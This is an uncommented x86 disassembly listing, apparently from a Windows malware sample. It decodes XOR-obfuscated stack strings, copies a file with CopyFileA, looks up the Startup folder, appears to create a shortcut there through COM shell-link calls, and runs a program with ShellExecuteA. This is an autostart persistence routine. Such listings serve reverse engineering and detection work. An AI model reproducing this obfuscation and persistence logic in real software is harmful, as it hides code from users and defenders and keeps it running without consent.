mov dword [ebp - 0xd48], 0xb53d4687
mov dword [ebp - 0xd44], 0x87868e39
mov eax, dword [ebp - 0xd48]
mov ecx, dword [ebp - 0xd44]
mov dword [ebp - 0x1510], eax
mov dword [ebp - 0x150c], ecx
mov dword [ebp - 0xd50], 0xfa2a03a0
mov dword [ebp - 0xd4c], 0x89c15b7c
mov eax, dword [ebp - 0xd50]
mov ecx, dword [ebp - 0xd4c]
mov dword [ebp - 0x1508], eax
mov dword [ebp - 0x1504], ecx
mov dword [ebp - 0xd58], 0xdf9be395
mov dword [ebp - 0xd54], 0xf940fadb
mov eax, dword [ebp - 0xd58]
mov ecx, dword [ebp - 0xd54]
mov dword [ebp - 0xd60], 0x7dbb92e6
mov dword [ebp - 0xd5c], 0x14d846fe
mov dword [ebp - 0x1bc0], eax
mov eax, dword [ebp - 0xd60]
mov dword [ebp - 0x1bbc], ecx
mov ecx, dword [ebp - 0xd5c]
mov dword [ebp - 0xd68], 0xd94f69a7
mov dword [ebp - 0xd64], 0xc0cfc619
mov dword [ebp - 0x1bb8], eax
mov eax, dword [ebp - 0xd68]
mov dword [ebp - 0x1bb4], ecx
mov ecx, dword [ebp - 0xd64]
mov dword [ebp - 0xd70], 0xae7946e8
mov dword [ebp - 0xd6c], 0x89c15b7c
mov dword [ebp - 0x1bb0], eax
mov eax, dword [ebp - 0xd70]
mov dword [ebp - 0x1bac], ecx
mov ecx, dword [ebp - 0xd6c]
movaps xmm1, xmmword [ebp - 0x1520]
xorps xmm1, xmmword [ebp - 0x1bc0]
movaps xmmword [ebp - 0x1520], xmm1
movaps xmm1, xmmword [ebp - 0x1510]
mov dword [ebp - 0x1ba8], eax
mov dword [ebp - 0x1ba4], ecx
xorps xmm1, xmmword [ebp - 0x1bb0]
movaps xmmword [ebp - 0x1510], xmm1
mov dword [ebp - 0xd78], 0xdf9be3ca
mov dword [ebp - 0xd74], 0xf940fadb
mov eax, dword [ebp - 0xd78]
mov ecx, dword [ebp - 0xd74]
mov dword [ebp - 0x1030], eax
mov dword [ebp - 0x102c], ecx
mov dword [ebp - 0xd80], 0x7dbb92e6
mov dword [ebp - 0xd7c], 0x14d846fe
mov eax, dword [ebp - 0xd80]
mov ecx, dword [ebp - 0xd7c]
mov dword [ebp - 0x1028], eax
mov dword [ebp - 0x1024], ecx
mov dword [ebp - 0xd88], 0xdf9be395
mov dword [ebp - 0xd84], 0xf940fadb
mov eax, dword [ebp - 0xd88]
mov ecx, dword [ebp - 0xd84]
mov dword [ebp - 0xd90], 0x7dbb92e6
mov dword [ebp - 0xd8c], 0x14d846fe
mov dword [ebp - 0x16a0], eax
mov eax, dword [ebp - 0xd90]
mov dword [ebp - 0x169c], ecx
mov ecx, dword [ebp - 0xd8c]
movaps xmm1, xmmword [ebp - 0x1030]
mov dword [ebp - 0x1698], eax
mov dword [ebp - 0x1694], ecx
xorps xmm1, xmmword [ebp - 0x16a0]
movaps xmmword [ebp - 0x1030], xmm1
mov dword [ebp - 0xd98], 0xabb4c3b7
mov dword [ebp - 0xd94], 0xf962dab5
mov eax, dword [ebp - 0xd98]
mov ecx, dword [ebp - 0xd94]
mov dword [ebp - 0x1020], eax
mov dword [ebp - 0x101c], ecx
mov dword [ebp - 0xda0], 0x7dbb92e6
mov dword [ebp - 0xd9c], 0x14d846fe
mov eax, dword [ebp - 0xda0]
mov ecx, dword [ebp - 0xd9c]
mov dword [ebp - 0x1018], eax
mov dword [ebp - 0x1014], ecx
mov dword [ebp - 0xda8], 0xdf9be395
mov dword [ebp - 0xda4], 0xf940fadb
mov eax, dword [ebp - 0xda8]
mov ecx, dword [ebp - 0xda4]
mov dword [ebp - 0xdb0], 0x7dbb92e6
mov dword [ebp - 0xdac], 0x14d846fe
mov dword [ebp - 0x1690], eax
mov eax, dword [ebp - 0xdb0]
mov dword [ebp - 0x168c], ecx
mov ecx, dword [ebp - 0xdac]
mov dword [ebp - 0x1688], eax
mov dword [ebp - 0x1684], ecx
movaps xmm1, xmmword [ebp - 0x1690]
xorps xmm1, xmmword [ebp - 0x1020]
movaps xmmword [ebp - 0x1020], xmm1
mov dword [ebp - 0xdb8], 0xabb4c3b7
mov dword [ebp - 0xdb4], 0xf962daa9
mov eax, dword [ebp - 0xdb8]
mov ecx, dword [ebp - 0xdb4]
mov dword [ebp - 0x1010], eax
mov dword [ebp - 0x100c], ecx
mov dword [ebp - 0xdc0], 0x7dbb92e6
mov dword [ebp - 0xdbc], 0x14d846fe
mov eax, dword [ebp - 0xdc0]
mov ecx, dword [ebp - 0xdbc]
mov dword [ebp - 0x1008], eax
mov dword [ebp - 0x1004], ecx
mov dword [ebp - 0xdc8], 0xdf9be395
mov dword [ebp - 0xdc4], 0xf940fadb
mov eax, dword [ebp - 0xdc8]
mov ecx, dword [ebp - 0xdc4]
mov dword [ebp - 0x1900], eax
mov dword [ebp - 0xdd0], 0x7dbb92e6
mov dword [ebp - 0x18fc], ecx
mov dword [ebp - 0xdcc], 0x14d846fe
mov eax, dword [ebp - 0xdd0]
mov ecx, dword [ebp - 0xdcc]
movaps xmm1, xmmword [ebp - 0x1010]
mov dword [ebp - 0x18f8], eax
lea eax, [ebp - 0x2b88]
mov dword [ebp - 0x18f4], ecx
lea ecx, [ebp - 0x2178]
xorps xmm1, xmmword [ebp - 0x1900]
push eax
movaps xmmword [ebp - 0x1010], xmm1
call fcn.00402cf0
push eax
mov byte [ebp - 4], 0xc8
mov dword [ebp - 0xdd8], 0xabf380e6
mov dword [ebp - 0xdd4], 0x8a2b89ba
mov ecx, dword [ebp - 0xdd8]
mov edx, dword [ebp - 0xdd4]
mov dword [ebp - 0x1500], ecx
mov dword [ebp - 0x14fc], edx
mov dword [ebp - 0xde0], 0xfd8bdc6
mov dword [ebp - 0xddc], 0x71ac279b
mov eax, dword [ebp - 0xde0]
mov ecx, dword [ebp - 0xddc]
mov dword [ebp - 0x14f8], eax
mov dword [ebp - 0x14f4], ecx
mov dword [ebp - 0xde8], 0xf9294687
mov dword [ebp - 0xde4], 0xe09a9436
mov eax, dword [ebp - 0xde8]
mov ecx, dword [ebp - 0xde4]
mov dword [ebp - 0x14f0], eax
mov dword [ebp - 0x14ec], ecx
mov dword [ebp - 0xdf0], 0xae7946ca
mov dword [ebp - 0xdec], 0x89c15b7c
mov eax, dword [ebp - 0xdf0]
mov ecx, dword [ebp - 0xdec]
mov dword [ebp - 0x14e8], eax
mov dword [ebp - 0x14e4], ecx
mov dword [ebp - 0xdf8], 0xdf9be395
mov dword [ebp - 0xdf4], 0xf940fadb
mov eax, dword [ebp - 0xdf8]
mov ecx, dword [ebp - 0xdf4]
mov dword [ebp - 0x1be0], eax
mov dword [ebp - 0xe00], 0x7dbb92e6
lea edx, [ebp - 0x1500]
mov dword [ebp - 0xdfc], 0x14d846fe
mov eax, dword [ebp - 0xe00]
mov dword [ebp - 0x1bdc], ecx
mov ecx, dword [ebp - 0xdfc]
mov dword [ebp - 0xe08], 0xd94f69a7
mov dword [ebp - 0xe04], 0xc0cfc619
mov dword [ebp - 0x1bd8], eax
mov eax, dword [ebp - 0xe08]
mov dword [ebp - 0x1bd4], ecx
mov ecx, dword [ebp - 0xe04]
mov dword [ebp - 0xe10], 0xae7946e8
mov dword [ebp - 0x1bd0], eax
mov dword [ebp - 0x1bcc], ecx
mov dword [ebp - 0xe0c], 0x89c15b7c
mov eax, dword [ebp - 0xe10]
mov ecx, dword [ebp - 0xe0c]
movaps xmm1, xmmword [ebp - 0x1500]
xorps xmm1, xmmword [ebp - 0x1be0]
movaps xmmword [ebp - 0x1500], xmm1
movaps xmm1, xmmword [ebp - 0x14f0]
mov dword [ebp - 0x1bc4], ecx
lea ecx, [ebp - 0x2160]
mov dword [ebp - 0x1bc8], eax
xorps xmm1, xmmword [ebp - 0x1bd0]
movaps xmmword [ebp - 0x14f0], xmm1
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0x1010]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2148]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xca
lea ecx, [ebp - 0x1cdc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2130]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xcb
lea ecx, [ebp - 0x1020]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2118]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xcc
lea ecx, [ebp - 0x1cf4]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2100]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0x1030]
push ecx
mov edx, eax
lea ecx, [ebp - 0x20e8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xce
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x20d0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xcf
lea ecx, [ebp - 0x1520]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1ea0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xd1
lea ecx, [ebp - 0x20d0]
call fcn.00402df0
mov byte [ebp - 4], 0xd2
lea ecx, [ebp - 0x20e8]
call fcn.00402df0
mov byte [ebp - 4], 0xd3
lea ecx, [ebp - 0x2100]
call fcn.00402df0
mov byte [ebp - 4], 0xd4
lea ecx, [ebp - 0x2118]
call fcn.00402df0
mov byte [ebp - 4], 0xd5
lea ecx, [ebp - 0x2130]
call fcn.00402df0
mov byte [ebp - 4], 0xd6
lea ecx, [ebp - 0x2148]
call fcn.00402df0
mov byte [ebp - 4], 0xd7
lea ecx, [ebp - 0x2160]
call fcn.00402df0
mov byte [ebp - 4], 0xd8
lea ecx, [ebp - 0x2178]
call fcn.00402df0
sub esp, 0x18
lea ecx, [ebp - 0x1ea0]
mov esi, esp
mov dword [ebp - 0x1d44], esp
call fcn.00416090
push eax
mov ecx, esi
call fcn.00402cf0
mov byte [ebp - 4], 0xd9
mov byte [ebp - 4], 0xd8
xor cl, cl
call fcn.004d3070
add esp, 0x18
mov byte [ebp - 4], 0xc6
lea ecx, [ebp - 0x1ea0]
call fcn.00402df0
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x1eb8]
call fcn.00402df0
mov byte [ebp - 4], 0xac
lea ecx, [ebp - 0x1cdc]
call fcn.00402df0
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x1c60]
call fcn.00402df0
cmp byte [ebp - 0x46], 0
je 0x48e420
mov dword [ebp - 0xe18], 0x8fd6a6c1
mov dword [ebp - 0xe14], 0xf940fadb
mov eax, dword [ebp - 0xe18]
mov ecx, dword [ebp - 0xe14]
mov dword [ebp - 0x1040], eax
mov dword [ebp - 0x103c], ecx
mov dword [ebp - 0xe20], 0x7dbb92e6
mov dword [ebp - 0xe1c], 0x14d846fe
mov eax, dword [ebp - 0xe20]
mov ecx, dword [ebp - 0xe1c]
mov dword [ebp - 0x1038], eax
mov dword [ebp - 0x1034], ecx
mov dword [ebp - 0xe28], 0xdf9be395
mov dword [ebp - 0xe24], 0xf940fadb
mov eax, dword [ebp - 0xe28]
mov ecx, dword [ebp - 0xe24]
mov dword [ebp - 0x1910], eax
mov dword [ebp - 0xe30], 0x7dbb92e6
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0xe2c], 0x14d846fe
mov eax, dword [ebp - 0xe30]
mov ecx, dword [ebp - 0xe2c]
movaps xmm1, xmmword [ebp - 0x1040]
mov dword [ebp - 0x1908], eax
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x1904], ecx
xorps xmm1, xmmword [ebp - 0x1910]
push eax
movaps xmmword [ebp - 0x1040], xmm1
call fcn.004423e1
add esp, 4
test eax, eax
je 0x48e420
push eax
lea ecx, [ebp - 0x1c78]
call fcn.00402cf0
mov byte [ebp - 4], 0xda
mov dword [ebp - 0xe38], 0xdf9be3c9
mov dword [ebp - 0xe34], 0xf940fadb
mov eax, dword [ebp - 0xe38]
mov ecx, dword [ebp - 0xe34]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x104c], ecx
mov dword [ebp - 0xe40], 0x7dbb92e6
mov dword [ebp - 0xe3c], 0x14d846fe
mov eax, dword [ebp - 0xe40]
mov ecx, dword [ebp - 0xe3c]
mov dword [ebp - 0x1048], eax
mov dword [ebp - 0x1044], ecx
mov dword [ebp - 0xe48], 0xdf9be395
mov dword [ebp - 0xe44], 0xf940fadb
mov eax, dword [ebp - 0xe48]
mov ecx, dword [ebp - 0xe44]
mov dword [ebp - 0x1920], eax
mov dword [ebp - 0xe50], 0x7dbb92e6
mov dword [ebp - 0x191c], ecx
mov dword [ebp - 0xe4c], 0x14d846fe
mov eax, dword [ebp - 0xe50]
mov ecx, dword [ebp - 0xe4c]
movaps xmm1, xmmword [ebp - 0x1050]
mov dword [ebp - 0x1918], eax
lea eax, [ebp - 0x1050]
mov dword [ebp - 0x1914], ecx
lea ecx, [ebp - 0x1c78]
xorps xmm1, xmmword [ebp - 0x1920]
push eax
movaps xmmword [ebp - 0x1050], xmm1
call fcn.00416210
mov dword [ebp - 0xe58], 0xdf9be3ca
lea edx, [ebp - 0x1d0c]
mov dword [ebp - 0xe54], 0xf940fadb
mov eax, dword [ebp - 0xe58]
mov ecx, dword [ebp - 0xe54]
mov dword [ebp - 0x1110], eax
mov dword [ebp - 0x110c], ecx
mov dword [ebp - 0xe60], 0x7dbb92e6
mov dword [ebp - 0xe5c], 0x14d846fe
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0xe5c]
mov dword [ebp - 0x1108], eax
mov dword [ebp - 0x1104], ecx
mov dword [ebp - 0xe68], 0xdf9be395
mov dword [ebp - 0xe64], 0xf940fadb
mov eax, dword [ebp - 0xe68]
mov ecx, dword [ebp - 0xe64]
mov dword [ebp - 0x1930], eax
mov dword [ebp - 0xe70], 0x7dbb92e6
mov dword [ebp - 0x192c], ecx
mov dword [ebp - 0xe6c], 0x14d846fe
mov eax, dword [ebp - 0xe70]
mov ecx, dword [ebp - 0xe6c]
movaps xmm1, xmmword [ebp - 0x1110]
mov dword [ebp - 0x1928], eax
lea eax, [ebp - 0x1110]
mov dword [ebp - 0x1924], ecx
lea ecx, [ebp - 0x21a8]
xorps xmm1, xmmword [ebp - 0x1930]
push eax
movaps xmmword [ebp - 0x1110], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2190]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xdc
lea ecx, [ebp - 0x1c78]
push eax
call fcn.00416240
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0x2190]
call fcn.00402df0
mov byte [ebp - 4], 0xda
lea ecx, [ebp - 0x21a8]
call fcn.00402df0
lea ecx, [ebp - 0x1c78]
call fcn.00416090
mov ecx, eax
call fcn.004e6ca0
test al, al
jne 0x48de2a
lea ecx, [ebp - 0x1c78]
call fcn.00416090
push eax
lea ecx, [ebp - 0x1ed0]
call fcn.00402cf0
mov byte [ebp - 4], 0xdd
lea ecx, [ebp - 0x1ed0]
mov esi, dword [ebp - 0x18]
or esi, 0x2000
mov dword [ebp - 0x18], esi
call fcn.00408860
test al, al
jne 0x48de2d
mov byte [ebp - 0x11], al
jmp 0x48de31
mov esi, dword [ebp - 0x18]
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0xda
test esi, 0x2000
je 0x48de54
and esi, 0xffffdfff
lea ecx, [ebp - 0x1ed0]
mov dword [ebp - 0x18], esi
call fcn.00402df0
cmp byte [ebp - 0x11], 0
je 0x48e411
mov dword [ebp - 0xe78], 0xbae386bb
lea edx, [ebp - 0x1c78]
mov dword [ebp - 0xe74], 0xf940fadb
mov eax, dword [ebp - 0xe78]
mov ecx, dword [ebp - 0xe74]
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x112c], ecx
mov dword [ebp - 0xe80], 0x7dbb92e6
mov dword [ebp - 0xe7c], 0x14d846fe
mov eax, dword [ebp - 0xe80]
mov ecx, dword [ebp - 0xe7c]
mov dword [ebp - 0x1128], eax
mov dword [ebp - 0x1124], ecx
mov dword [ebp - 0xe88], 0xdf9be395
mov dword [ebp - 0xe84], 0xf940fadb
mov eax, dword [ebp - 0xe88]
mov ecx, dword [ebp - 0xe84]
mov dword [ebp - 0xe90], 0x7dbb92e6
mov dword [ebp - 0xe8c], 0x14d846fe
mov dword [ebp - 0x1940], eax
mov eax, dword [ebp - 0xe90]
mov dword [ebp - 0x193c], ecx
mov ecx, dword [ebp - 0xe8c]
movaps xmm1, xmmword [ebp - 0x1130]
mov dword [ebp - 0x1938], eax
mov dword [ebp - 0x1934], ecx
xorps xmm1, xmmword [ebp - 0x1940]
movaps xmmword [ebp - 0x1130], xmm1
mov dword [ebp - 0xe98], 0xdf9be3c9
mov dword [ebp - 0xe94], 0xf940fadb
mov eax, dword [ebp - 0xe98]
mov ecx, dword [ebp - 0xe94]
mov dword [ebp - 0x1120], eax
mov dword [ebp - 0x111c], ecx
mov dword [ebp - 0xea0], 0x7dbb92e6
mov dword [ebp - 0xe9c], 0x14d846fe
mov eax, dword [ebp - 0xea0]
mov ecx, dword [ebp - 0xe9c]
mov dword [ebp - 0x1118], eax
mov dword [ebp - 0x1114], ecx
mov dword [ebp - 0xea8], 0xdf9be395
mov dword [ebp - 0xea4], 0xf940fadb
mov eax, dword [ebp - 0xea8]
mov ecx, dword [ebp - 0xea4]
mov dword [ebp - 0x1950], eax
mov dword [ebp - 0xeb0], 0x7dbb92e6
mov dword [ebp - 0x194c], ecx
mov dword [ebp - 0xeac], 0x14d846fe
mov eax, dword [ebp - 0xeb0]
mov ecx, dword [ebp - 0xeac]
movaps xmm1, xmmword [ebp - 0x1120]
mov dword [ebp - 0x1948], eax
lea eax, [ebp - 0x1120]
mov dword [ebp - 0x1944], ecx
lea ecx, [ebp - 0x21d8]
xorps xmm1, xmmword [ebp - 0x1950]
push eax
movaps xmmword [ebp - 0x1120], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xde
lea ecx, [ebp - 0x1d0c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x21c0]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xdf
lea ecx, [ebp - 0x1130]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1dc8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xe1
lea ecx, [ebp - 0x21c0]
call fcn.00402df0
mov byte [ebp - 4], 0xe2
lea ecx, [ebp - 0x21d8]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x1dc8]
mov ecx, esp
mov dword [ebp - 0x1d40], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xe3
mov byte [ebp - 4], 0xe2
call fcn.004e6d70
add esp, 0x18
test al, al
jne 0x48e0ac
lea ecx, [ebp - 0x1dc8]
call fcn.00416090
lea ecx, [ebp - 0x1c30]
mov esi, eax
call fcn.00416090
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x48e402
lea eax, [ebp - 0x2c90]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x48e402
lea eax, [ebp - 0x2c90]
push eax
lea ecx, [ebp - 0x1df8]
call fcn.00402cf0
mov byte [ebp - 4], 0xe4
lea edx, [ebp - 0x1140]
mov dword [ebp - 0xeb8], 0xb4f58fbb
mov dword [ebp - 0xeb4], 0xf940fadb
mov eax, dword [ebp - 0xeb8]
mov ecx, dword [ebp - 0xeb4]
mov dword [ebp - 0x1150], eax
mov dword [ebp - 0x114c], ecx
mov dword [ebp - 0x2a0], 0x7dbb92e6
mov dword [ebp - 0x29c], 0x14d846fe
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x29c]
mov dword [ebp - 0x1148], eax
mov dword [ebp - 0x1144], ecx
mov dword [ebp - 0x2a8], 0xdf9be395
mov dword [ebp - 0x2a4], 0xf940fadb
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp - 0x2b0], 0x7dbb92e6
mov dword [ebp - 0x2ac], 0x14d846fe
mov dword [ebp - 0x1960], eax
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x195c], ecx
mov ecx, dword [ebp - 0x2ac]
movaps xmm1, xmmword [ebp - 0x1150]
mov dword [ebp - 0x1958], eax
mov dword [ebp - 0x1954], ecx
xorps xmm1, xmmword [ebp - 0x1960]
movaps xmmword [ebp - 0x1150], xmm1
mov dword [ebp - 0x2b8], 0xdf9be3c9
mov dword [ebp - 0x2b4], 0xf940fadb
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x2b4]
mov dword [ebp - 0x1140], eax
mov dword [ebp - 0x113c], ecx
mov dword [ebp - 0x2c0], 0x7dbb92e6
mov dword [ebp - 0x2bc], 0x14d846fe
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [ebp - 0x2bc]
mov dword [ebp - 0x1138], eax
mov dword [ebp - 0x1134], ecx
mov dword [ebp - 0x2c8], 0xdf9be395
mov dword [ebp - 0x2c4], 0xf940fadb
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x2c4]
mov dword [ebp - 0x1970], eax
mov dword [ebp - 0x2d0], 0x7dbb92e6
mov dword [ebp - 0x196c], ecx
mov dword [ebp - 0x2cc], 0x14d846fe
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [ebp - 0x2cc]
movaps xmm1, xmmword [ebp - 0x1140]
mov dword [ebp - 0x1968], eax
lea eax, [ebp - 0x1d0c]
mov dword [ebp - 0x1964], ecx
lea ecx, [ebp - 0x2208]
xorps xmm1, xmmword [ebp - 0x1970]
push eax
movaps xmmword [ebp - 0x1140], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0xe5
lea ecx, [ebp - 0x1150]
push ecx
mov edx, eax
lea ecx, [ebp - 0x21f0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xe6
lea ecx, [ebp - 0x1df8]
push eax
call fcn.00416240
mov byte [ebp - 4], 0xe5
lea ecx, [ebp - 0x21f0]
call fcn.00402df0
mov byte [ebp - 4], 0xe4
lea ecx, [ebp - 0x2208]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x1df8]
mov ecx, esp
mov dword [ebp - 0x1cac], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xe7
mov byte [ebp - 4], 0xe4
call fcn.004e6d70
add esp, 0x18
test al, al
jne 0x48e3f3
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x48e3f3
lea eax, [ebp - 0x88]
push eax
push 0x55d540
push 1
push 0
push 0x55d570
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x48e3ed
mov edi, dword [ebp - 0x88]
lea ecx, [ebp - 0x1dc8]
mov eax, dword [edi]
mov esi, dword [eax + 0x50]
call fcn.00416090
push eax
push edi
call esi
mov edi, dword [ebp - 0x88]
lea ecx, [ebp - 0x1d0c]
mov eax, dword [edi]
mov esi, dword [eax + 0x1c]
call fcn.00416090
push eax
push edi
call esi
mov ecx, dword [ebp - 0x88]
lea edx, [ebp - 0x1ac]
push edx
push 0x55d550
push ecx
mov eax, dword [ecx]
mov eax, dword [eax]
call eax
test eax, eax
js 0x48e3df
push 0x208
lea eax, [ebp - 0x2e98]
push 0
push eax
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0x2e98]
lea ecx, [ebp - 0x1df8]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.00416090
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x1ac]
lea edx, [ebp - 0x2e98]
push 1
push edx
push ecx
mov eax, dword [ecx]
mov eax, dword [eax + 0x18]
call eax
mov eax, dword [ebp - 0x1ac]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 8]
call eax
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 8]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov byte [ebp - 4], 0xe2
lea ecx, [ebp - 0x1df8]
call fcn.00402df0
mov byte [ebp - 4], 0xda
lea ecx, [ebp - 0x1dc8]
call fcn.00402df0
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x1c78]
call fcn.00402df0
lea ecx, [ebp - 0x1c30]
call fcn.00416090
mov dword [ebp - 0x2d8], 0xb1fe93fa
mov esi, eax
mov dword [ebp - 0x2d4], 0xf940fadb
mov ecx, dword [ebp - 0x2d8]
mov edx, dword [ebp - 0x2d4]
mov dword [ebp - 0x1160], ecx
mov dword [ebp - 0x115c], edx
mov dword [ebp - 0x2e0], 0x7dbb92e6
mov dword [ebp - 0x2dc], 0x14d846fe
mov ecx, dword [ebp - 0x2e0]
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x1154], eax
mov dword [ebp - 0x1158], ecx
mov dword [ebp - 0x2e8], 0xdf9be395
mov dword [ebp - 0x2e4], 0xf940fadb
mov eax, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x2e4]
push 1
push 0
mov dword [ebp - 0x1980], eax
mov dword [ebp - 0x2f0], 0x7dbb92e6
push 0
mov dword [ebp - 0x2ec], 0x14d846fe
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x197c], ecx
mov ecx, dword [ebp - 0x2ec]
movaps xmm1, xmmword [ebp - 0x1160]
mov dword [ebp - 0x1978], eax
lea eax, [ebp - 0x1160]
push esi
mov dword [ebp - 0x1974], ecx
xorps xmm1, xmmword [ebp - 0x1980]
push eax
push 0
movaps xmmword [ebp - 0x1160], xmm1
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x1d3c]
mov ecx, esp
mov dword [ebp - 0x1ca8], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xe8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1ca4], esp
push 0x586da4
call fcn.004163b0
mov byte [ebp - 4], 0xe9
mov byte [ebp - 4], 0xa0
call fcn.004c74d0
add esp, 0x30
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x1cf4]
call fcn.00402df0
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x1d0c]
call fcn.00402df0
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x1db0]
call fcn.00402df0
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x1c30]
call fcn.00402df0
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x1368]
call fcn.004185d0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1f0]
call fcn.00402df0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2fc]
call fcn.004185d0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x13a4]
call fcn.004185d0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1d24]
call fcn.00402df0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x13d4]
call fcn.00402df0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1de0]
call fcn.00402df0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1e58]
call fcn.00402df0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1d3c]
call fcn.00402df0
mov esi, dword [ebp - 0x150]
movzx eax, byte [esi]
sub eax, 1
je 0x48e62f
sub eax, 1
je 0x48e626
inc dword [ebp - 0x144]
jmp 0x48e652
add dword [ebp - 0x148], 0x10
jmp 0x48e652
mov eax, dword [ebp - 0x14c]
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x1d8], eax
call fcn.00417990
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x14c], eax
cmp esi, dword [ebp - 0x3c]
jne 0x48e87a
jmp 0x486110
mov byte [ebp - 4], 6
lea ecx, [ebx + 8]
call fcn.00402df0
mov byte [ebp - 4], 5
lea ecx, [ebx + 0x28]
push dword [ebx + 0x20]
call fcn.00417af0
mov byte [ebp - 4], 4
lea ecx, [ebx + 0x38]
push dword [ebx + 0x30]
call fcn.00417af0
mov byte [ebp - 4], 3
lea ecx, [ebx + 0x48]
push dword [ebx + 0x40]
call fcn.00417af0
mov byte [ebp - 4], 2
lea ecx, [ebx + 0x58]
push dword [ebx + 0x50]
call fcn.00417af0
mov byte [ebp - 4], 1
lea ecx, [ebx + 0x68]
push dword [ebx + 0x60]
call fcn.00417af0
mov byte [ebp - 4], 0
lea ecx, [ebx + 0x78]
push dword [ebx + 0x70]
call fcn.00417af0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebx + 0x80]
call fcn.00402df0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x26ec]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x26ec]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x275c]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x275c]
push 0x57a61c
push eax
call fcn.004351fb
push str.cannot_get_value
